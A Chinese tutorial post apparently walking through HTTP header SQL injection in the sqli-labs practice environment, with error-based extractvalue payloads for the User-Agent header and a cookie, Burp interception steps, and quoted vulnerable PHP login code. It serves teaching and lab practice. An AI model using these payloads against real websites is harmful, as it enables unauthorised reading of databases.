sql-lib注入之http头注入

http头注入包括好多种:

sql-lib注入之http头注入_第1张图片

User-Agent注入

User-Agent、Content-Type等只要是http包中存在的都可以进行篡改。在这再说下User-Agent的头注入和Content-Type的头注入,其他的就不详细赘述。基本原理大同小异。最后会进行总结。
一般使用user-Agent,有两种场景一是记录访问者的信息,如什么浏览器、操作系统版本等。二是获取客户的user-Agent,根据你提供的信息来给你推送不同的网页。如果你手机手机访问那么返回你的页面将是小型的web界面,还有各种浏览器的特性,推送相兼容的页面。此时已经进行的数据库的入库和查询操作,如果没对此做过滤那么漏洞就产生了。

注入语句:
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1
首先用burp抓包:我们修改user-agent头,加入注入语句。在注入之前我们抓包一定要注意先随便的输入用户名字、用户密码、,然后用burp进行拦截。在修改user-agent头,再进放包。从图中我们看到爆出了数据库版本。
sql-lib注入之http头注入_第2张图片
其他注入请自行思考。

cookie注入

1.首先我们看一下源码

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

# uname 和passwd 进行了check_input()函数的处理

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
    if($row1)
        {
        setcookie('uname', $cookee, time()+3600);
        header ('Location: index.php');
        }


# 从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。
# 登录成功后,我们修改 cookie,再次刷新时,这时候sql 语句就会被修改了。我们使用 temper data 进行演示。

之后我们进行抓包。修改 cookie 值为:

uname=1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

其他http头注入大同小异,在这里就不一一讲解了。

你可能感兴趣的:(sql)